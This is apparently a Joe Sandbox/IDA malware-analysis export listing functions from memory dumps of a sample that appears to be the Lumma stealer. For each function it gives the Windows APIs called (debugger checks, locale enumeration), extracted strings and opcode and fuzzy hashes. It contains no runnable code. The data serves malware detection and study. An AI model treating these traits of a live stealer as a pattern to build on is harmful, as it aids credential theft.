Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: b25a2f42954d0f98dcbc57e9621d112c3f419a89842be4f75478496280d7283c
Instruction ID: 291bf7f44cae855de1f872fb6c8eb764a16509bb0e072ab6505ca325a6333370
Opcode Fuzzy Hash: b25a2f42954d0f98dcbc57e9621d112c3f419a89842be4f75478496280d7283c
Instruction Fuzzy Hash: 2B618071910207ABDB289F24EC82BFA77A8EF04300F1481B9E915C6585EF39D9E1DB74

Function 00D03947 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00D03A3F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00D03A49
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00D03A56

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9d7e98fbb0cfd255849a9d9413eb699807f055aed06efdd8006bb8abd51341d2
Instruction ID: 3c870e6368af67584d8e0359c4baf316246176dd4ce620add26059cba3f38c7b
Opcode Fuzzy Hash: 9d7e98fbb0cfd255849a9d9413eb699807f055aed06efdd8006bb8abd51341d2
Instruction Fuzzy Hash: 5F31D27490122CABCB61DF28DC8979DBBB8BF08310F5141EAE50CA7290EB709B819F55

Function 00D3D6E7 Relevance: 4.1, Strings: 3, Instructions: 311COMMON

Download Yara Rule

Strings

756., xrefs: 00D3D9A3
@, xrefs: 00D3D8FF
/9++, xrefs: 00D3D9AE

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /9++$756.$@
API String ID: 0-1700163772
Opcode ID: 4b3ebcc783f0d692d3258426e74a8bca04e610eb5ea5e69e73ba590fe9573655
Instruction ID: cdb0e270960dccbd3b1baa83f0c752d0a6781753e5723aeab2cf071bfa4aad5e
Opcode Fuzzy Hash: 4b3ebcc783f0d692d3258426e74a8bca04e610eb5ea5e69e73ba590fe9573655
Instruction Fuzzy Hash: 44A1A2B560C3918FD324CF29D4903ABBBE2EF96304F58896DD4DA87382D7749845CB62

Function 00CFE670 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fdfdf150f26930640973344cd10d9767bbd1cbd5816bd4814fe09726e39cfaf
Instruction ID: 9d3de6d0c1a59b6e6a3f345556066e4b44f4722febf1d86fe98c61606df1a200
Opcode Fuzzy Hash: 9fdfdf150f26930640973344cd10d9767bbd1cbd5816bd4814fe09726e39cfaf
Instruction Fuzzy Hash: B3F15071E002199FDF54DFA9C880AEDBBB1FF88314F158269E925A7390D730AE01CB91

Function 00CF6BEB Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00CF6877,?,00000000,00000000,?,00CF6836,?,?,?,?,00CF6373,?), ref: 00CF6C23
GetSystemTimeAsFileTime.KERNEL32(?,0EB354B7,?,?,00D18129,000000FF,?,00CF6877,?,00000000,00000000,?,00CF6836,?,?), ref: 00CF6C27

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 764041235383b109023d043fe2542c9229d58a1cd7ffd85d14054d410b4bf05e
Instruction ID: 3452c732ff0ce660dc224518cff186493e83b83ff26e6a68b179581822b03bff
Opcode Fuzzy Hash: 764041235383b109023d043fe2542c9229d58a1cd7ffd85d14054d410b4bf05e
Instruction Fuzzy Hash: DCF03076A04758FFCB119F45EC54BA9BBA9FB09B50F00462AEC12D3790DB75A940CAA0

Function 00D4B558 Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

", xrefs: 00D4BA04
", xrefs: 00D4B998

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: eb133f8cb1cf4437a11470c9a0599f6b23945b095f74f96296867d14223b186c
Instruction ID: 0a382bf66205f11e4e7f451096ae78c5233f483e443145ae3165008b543e218a
Opcode Fuzzy Hash: eb133f8cb1cf4437a11470c9a0599f6b23945b095f74f96296867d14223b186c
Instruction Fuzzy Hash: 2F02D0B1A083459FDB14CF24C49072FBBE5EFA4364F18892EF4999B291D734DD448BA2

Function 00D2AE18 Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

), xrefs: 00D2AEB1
IEND, xrefs: 00D2B2C5

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 8fb6ae36c23656904083c1efe22ea662d2bdbac9c78e2b770a8c8cdada58fe92
Instruction ID: 536ff0f600ed56eb9ae4dba4b09db9707be9687c83eb9f8c1f4cc292c354c0c5
Opcode Fuzzy Hash: 8fb6ae36c23656904083c1efe22ea662d2bdbac9c78e2b770a8c8cdada58fe92
Instruction Fuzzy Hash: B4E1BFB26087109FE720CF28D84575BBBE0EFA5318F04892DF5999B381D775E905CBA2

Function 00D49E27 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

0m>s, xrefs: 00D49ED0
DE, xrefs: 00D49E93

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 0m>s$DE
API String ID: 0-1259978271
Opcode ID: 5e4d9590669baff092c01c9945ca5e27acce3ce3575cf1cda7b99ae68c3197dd
Instruction ID: de65a536038e96db4a7f455d284a2943cb69a0cc10249ecfbdee65fcff12fc9f
Opcode Fuzzy Hash: 5e4d9590669baff092c01c9945ca5e27acce3ce3575cf1cda7b99ae68c3197dd
Instruction Fuzzy Hash: 155178706083418FD320CF18C851BABB7F1FF86354F44892DE8899B2A5E774E945CBA6

Function 00D5F9A8 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

@, xrefs: 00D5FA6D
/.! , xrefs: 00D5FA8D

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: /.! $@
API String ID: 0-2654906792
Opcode ID: 242889419d7ce6ce2ebc49d57afe9ee0505f37e61fd512d75d4b07595f76d87a
Instruction ID: 305c8ec7eaf45d1d5a6e5d5249e93fb1c57a51a1a74c9c9c95c03dcc9b223f0d
Opcode Fuzzy Hash: 242889419d7ce6ce2ebc49d57afe9ee0505f37e61fd512d75d4b07595f76d87a
Instruction Fuzzy Hash: 2D41B2B15083009FDB14CF18C891B6BB7E1FF95319F188A2CE8988B391D334D909CBA6

Function 00D410F8 Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

b-~+, xrefs: 00D41114
&%, xrefs: 00D41128

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: &%$b-~+
API String ID: 0-4003170714
Opcode ID: a2eefe26b0b286ba09d41e9b9e1ba7959077b4ff36b529c6db229e6e9bfec9ea
Instruction ID: cd65e5036e0a121978b0a0d5ee68b28bdcc441513e7ffcdaaf5aeb67f5b463f0
Opcode Fuzzy Hash: a2eefe26b0b286ba09d41e9b9e1ba7959077b4ff36b529c6db229e6e9bfec9ea
Instruction Fuzzy Hash: E141DB755083119BD714CF18C891A6BB3F1FFC2354F048A1CE8D99B291E774DA89CBA6

Function 00D0CB1F Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 00D0CD4C

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7af4b31e9989595d8640437f8c8c5f0e3803538cc6b94b24b24d4678f658189d
Instruction ID: 4b44a947766a4c242b02f3563731271e62208327173001f32950509520b8bae2
Opcode Fuzzy Hash: 7af4b31e9989595d8640437f8c8c5f0e3803538cc6b94b24b24d4678f658189d
Instruction Fuzzy Hash: 34B14B31620608CFD725CF28C486B657BA0FF45364F299668E89DCF2E1C335E992CB64

Function 00D4DC84 Relevance: 1.7, Strings: 1, Instructions: 450COMMON

Download Yara Rule

Strings

{|g~, xrefs: 00D4DE04

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: {|g~
API String ID: 0-1569769710
Opcode ID: eff6a834cc7a6cb30ecd64f162903fd1a5cd29af32eae586d26223928f7d3590
Instruction ID: d26fe23b246d15393eaf266cf44a4746a49ad9adb89e3d74ec97e6f3788ad7ef
Opcode Fuzzy Hash: eff6a834cc7a6cb30ecd64f162903fd1a5cd29af32eae586d26223928f7d3590
Instruction Fuzzy Hash: 95F14970104B908FE726CF39C4A0BE6BBE1AF16304F48095DD5EB8B692D779B645CB21

Function 00D4CFD9 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

6#74, xrefs: 00D4D212

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 6#74
API String ID: 0-2143081561
Opcode ID: 2bd60847c336b89e154209c55ff420164c010fe95ee26fb1de914393ecc82919
Instruction ID: 3a58146ecb29157d6b5c51a3190f250e3f13f67a6174ded77676c227034125f5
Opcode Fuzzy Hash: 2bd60847c336b89e154209c55ff420164c010fe95ee26fb1de914393ecc82919
Instruction Fuzzy Hash: 5DE16870504B828FD725CF29C490722FBE2BF56314F188A5DD4EA8BB96C735E845CB64

Function 00D4D032 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

6#74, xrefs: 00D4D212

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 6#74
API String ID: 0-2143081561
Opcode ID: 04fe36678805d7bf0e39ea4826ce4c958ce30711e45ea760e365381f7ef4d083
Instruction ID: 6da73e665b5fee72ecab91db1e228dda6b6e8eb1004f65afef55497781010ea2
Opcode Fuzzy Hash: 04fe36678805d7bf0e39ea4826ce4c958ce30711e45ea760e365381f7ef4d083
Instruction Fuzzy Hash: 2DE16870504B828FD7258F29C490722FBE2AF56314F188A5DD4EA8BB96C735E845CB64

Function 00CF73E5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CF73FB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: eecaec44e173f4b3cbdc8e264359406af666fc65d1456baaf0eac95db981a6ac
Instruction ID: c41a655e2e53fcba46c245b2a2b381202164239bdeca710597dc5e3ab6a09adb
Opcode Fuzzy Hash: eecaec44e173f4b3cbdc8e264359406af666fc65d1456baaf0eac95db981a6ac
Instruction Fuzzy Hash: A9513BB19093098FEB69CF58D9827BABBF0FB58310F148169D519EB351D374AA40CF61

Function 00D4D023 Relevance: 1.6, Strings: 1, Instructions: 381COMMON

Download Yara Rule

Strings

6#74, xrefs: 00D4D212

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 6#74
API String ID: 0-2143081561
Opcode ID: 696338c04c3e632aa2c5ac318a23b53527b390d281743ac08b756b91abd986b1
Instruction ID: e7d866d7cfab188966c88b3fc26e1c4359b46bec8fa43fff656165963ebe379b
Opcode Fuzzy Hash: 696338c04c3e632aa2c5ac318a23b53527b390d281743ac08b756b91abd986b1
Instruction Fuzzy Hash: 92D19C70504B828FD725CF29C490722FBE3AF56314F288A5DD4EA8B796C739E845CB64

Function 00D0F352 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aa48d580d90dea5265e74927ba722328562a050f5de7bb8fc80ba970b349726
Instruction ID: f0a21cc91916e93780686486e25a825111e32308fda83de408f4eefe700819c5
Opcode Fuzzy Hash: 9aa48d580d90dea5265e74927ba722328562a050f5de7bb8fc80ba970b349726
Instruction Fuzzy Hash: 5E31BC725002196FDB20DFB9DC85EBB776DEB84314F244169F919D7285EA30DD408B70

Function 00D4CCD7 Relevance: 1.6, Strings: 1, Instructions: 350COMMON

Download Yara Rule

Strings

Kxbi, xrefs: 00D4E461

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: Kxbi
API String ID: 0-1410787601
Opcode ID: 8b27bbf958b4d5645e660d81b35ef7d675cc868e15ba0ab5e41dde03e9c02a8a
Instruction ID: eb3b3f35cb714290116cca301a396c7b426710739c364a50c329eb40a85eaa51
Opcode Fuzzy Hash: 8b27bbf958b4d5645e660d81b35ef7d675cc868e15ba0ab5e41dde03e9c02a8a
Instruction Fuzzy Hash: 92C19C70504B908FE735CF29C490766BBF1AF1A308F08495DC4EB9BA92D779E849CB25

Function 00D00FA2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00D01130

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 05a33f3757807bf5631a2a2a6474c514c3508c2902a6d43da2dbccfb563f36ea
Instruction ID: 81ec1514f731fecc081204198efab95cc33e10f5dedf0b7a277d7adf84b32de8
Opcode Fuzzy Hash: 05a33f3757807bf5631a2a2a6474c514c3508c2902a6d43da2dbccfb563f36ea
Instruction Fuzzy Hash: 72C1AF38A006868FCB28CF68C4917BEBBB2EF05300F184619D59ADB6D1C731E985CB71

Function 00D1236F Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D123C3

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d2c154f5a4ef013d7f6a512301cdd89debe4a42a728f40543f2e20457100d678
Instruction ID: 56b44f2df4439f33c8405d2bffc5d1ad2a02f9d0a533b39f546bdaba353dc48d
Opcode Fuzzy Hash: d2c154f5a4ef013d7f6a512301cdd89debe4a42a728f40543f2e20457100d678
Instruction Fuzzy Hash: 4621C272611246BBDF289B65EC42BBA73A8EF14310F24407AF905C6181EF36ED909B74

Function 00D00C5A Relevance: 1.6, Strings: 1, Instructions: 314COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00D00DE4

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b9b2fc6d48c145b898032eb28201418656f8109bfce504e5b52c8f1ff9428425
Instruction ID: 73937154457376bf52cbeb23720e09dc2b256e7e85268a76f32550b2eccdba1c
Opcode Fuzzy Hash: b9b2fc6d48c145b898032eb28201418656f8109bfce504e5b52c8f1ff9428425
Instruction Fuzzy Hash: CCB1B17090060AABCB24CBA8C4517BEBFB5EF44304F184A1EE59AA76C1D670E941CB76

Function 00D11FF6 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D08644: GetLastError.KERNEL32(?,00000008,00D07E82,00000000,00D03AC4), ref: 00D08648
Part of subcall function 00D08644: SetLastError.KERNEL32(00000000,00000006,000000FF), ref: 00D086EA

EnumSystemLocalesW.KERNEL32(00D1211C,00000001,00000000,?,-00000050,?,00D1274D,00000000,?,?,?,00000055,?), ref: 00D12068

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 071b021589928dacc21435ef45182887b290f9a81aae9043427d6e251f9a61e5
Instruction ID: 270c7f68b21b2ccd3f9ae09f84394ed5d0959d6f1fb5a8c8f65a3b998a96512a
Opcode Fuzzy Hash: 071b021589928dacc21435ef45182887b290f9a81aae9043427d6e251f9a61e5
Instruction Fuzzy Hash: 8B1129362003056FDB18DF38D8916FAB792FF84368B18452CE98687640DB72A993C760

Function 00D60748 Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

/.! , xrefs: 00D6078E

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

